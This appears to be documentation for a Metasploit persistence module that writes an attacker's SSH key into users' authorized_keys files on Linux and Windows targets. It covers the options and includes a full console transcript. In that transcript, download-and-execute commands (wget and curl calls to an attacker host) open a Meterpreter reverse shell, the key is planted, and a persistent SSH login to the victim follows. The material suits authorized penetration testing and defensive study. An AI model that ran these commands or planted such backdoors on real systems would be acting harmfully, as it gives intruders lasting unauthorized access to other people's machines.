## Description This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time. This module has been tested against: 1. Ubuntu 24.04 2. Windows 10 ### Creating A Testing Environment #### Windows [Instructions](https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell&pivots=windows-10) ``` Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*' Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 net start "OpenSSH SSH Server" ``` ## Verification Steps 1. Start msfconsole 2. Exploit a box via whatever method 3. Do: `use exploit/multi/persistence/sshkey` 4. Do: `set session #` 5. Optional Do: `set username` 6. Do: `set verbose true` 7. Do: `exploit` ## Options ### SSHD_CONFIG Location of the sshd_config file on the remote system. We use this to determine if the authorized_keys file location has changed on the system. If it hasn't, we default to `.ssh/authorized_keys` ### USERNAME If set, we only write our key to this user. If not, we'll write to all users. On Windows setting `admin` or `administrator` will force writing to the Admin's `authorized_keys` ### PUBKEY A public key to use. If not provided, a pub/priv key pair is generated automatically ## Scenarios ### Ubuntu 24.04 ``` [*] Processing /root/.msf4/msfconsole.rc for ERB directives. resource (/root/.msf4/msfconsole.rc)> setg verbose true verbose => true resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 lhost => 1.1.1.1 resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set target 7 target => 7 resource (/root/.msf4/msfconsole.rc)> set srvport 8082 srvport => 8082 resource (/root/.msf4/msfconsole.rc)> set uripath l uripath => l resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set lport 4446 lport => 4446 resource (/root/.msf4/msfconsole.rc)> run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 1.1.1.1:4446 [*] Using URL: http://1.1.1.1:8082/l [*] Server started. [*] Run the following command on the target machine: wget -qO 7kQHbL1b --no-check-certificate http://1.1.1.1:8082/l; chmod +x 7kQHbL1b; ./7kQHbL1b& disown msf exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3090404 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:40288) at 2025-12-15 20:18:05 -0500 msf exploit(multi/script/web_delivery) > use exploit/multi/persistence/sshkey [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf exploit(multi/persistence/sshkey) > set session 1 session => 1 msf exploit(multi/persistence/sshkey) > exploit [*] Command to run on remote host: curl -so ./yGgUYcAsWEy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./yGgUYcAsWEy;./yGgUYcAsWEy& [*] Exploit running as background job 1. msf exploit(multi/persistence/sshkey) > [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_api, stdapi_railgun_api_multi, stdapi_railgun_memread, stdapi_railgun_memwrite, stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking SSH Permissions [+] The target appears to be vulnerable. Likely vulnerable [!] Payload handler is disabled, the persistence will be installed only. [*] Determining authroized_keys file [*] Authorized Keys File: .ssh/authorized_keys [*] Found 25 potential user folders [!] No .ssh folder found for //.ssh, skipping... [!] No //.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /bin/.ssh, skipping... [!] No /bin/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /dev/.ssh, skipping... [!] No /dev/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /nonexistent/.ssh, skipping... [!] No /nonexistent/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /root/.ssh, skipping... [!] No /root/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /run/ircd/.ssh, skipping... [!] No /run/ircd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /run/sshd/.ssh, skipping... [!] No /run/sshd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /run/uuidd/.ssh, skipping... [!] No /run/uuidd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /usr/games/.ssh, skipping... [!] No /usr/games/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /usr/lib/dhcpcd/.ssh, skipping... [!] No /usr/lib/dhcpcd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /usr/sbin/.ssh, skipping... [!] No /usr/sbin/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/backups/.ssh, skipping... [!] No /var/backups/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/cache/man/.ssh, skipping... [!] No /var/cache/man/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/cache/pollinate/.ssh, skipping... [!] No /var/cache/pollinate/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/lib/fwupd/.ssh, skipping... [!] No /var/lib/fwupd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/lib/landscape/.ssh, skipping... [!] No /var/lib/landscape/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/lib/tpm/.ssh, skipping... [!] No /var/lib/tpm/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/lib/usbmux/.ssh, skipping... [!] No /var/lib/usbmux/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/list/.ssh, skipping... [!] No /var/list/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/mail/.ssh, skipping... [!] No /var/mail/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/spool/lpd/.ssh, skipping... [!] No /var/spool/lpd/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/spool/news/.ssh, skipping... [!] No /var/spool/news/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/spool/uucp/.ssh, skipping... [!] No /var/spool/uucp/.ssh/authorized_keys file found, skipping... [!] No .ssh folder found for /var/www/.ssh, skipping... [!] No /var/www/.ssh/authorized_keys file found, skipping... [*] Found 1 confirmed user folders [+] Storing new private key as /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt [*] Adding key to /home/ubuntu/.ssh/authorized_keys [+] Persistence installed! Call a shell using 'ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt @2.2.2.2' [+] use auxiliary/scanner/ssh/ssh_login [+] run KEY_PATH=/root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt RHOSTS=2.2.2.2 USERNAME= [*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20251215.1841/2.2.2.2_20251215.1841.rc msf exploit(multi/persistence/sshkey) > use auxiliary/scanner/ssh/ssh_login [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf auxiliary(scanner/ssh/ssh_login) > run KEY_PATH=/root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt RHOSTS=2.2.2.2 USERNAME=ubuntu VERBOSE=false [*] 2.2.2.2:22 - Starting bruteforce [*] 2.2.2.2:22 SSH - Testing Cleartext Keys [+] 2.2.2.2:22 - Success: 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd) Linux ubuntu2404 6.8.0-31-generic #31-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 20 00:40:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 2 opened (1.1.1.1:40385 -> 2.2.2.2:22) at 2025-12-15 20:21:13 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(scanner/ssh/ssh_login) > chmod 600 /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt [*] exec: chmod 600 /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt msf auxiliary(scanner/ssh/ssh_login) > ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt ubuntu@2.2.2.2 [*] exec: ssh -i /root/.msf4/loot/20251215201840_default_2.2.2.2_id_rsa_950788.txt ubuntu@2.2.2.2 Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-31-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Tue Dec 16 01:21:12 AM UTC 2025 System load: 0.08 Processes: 220 Usage of /: 27.3% of 23.45GB Users logged in: 1 Memory usage: 5% IPv4 address for ens160: 2.2.2.2 Swap usage: 0% * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Dec 16 01:09:33 2025 from 1.1.1.1 ubuntu@ubuntu2404:~$ id uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd) ubuntu@ubuntu2404:~$ exit logout Connection to 2.2.2.2 closed. msf auxiliary(scanner/ssh/ssh_login) > ```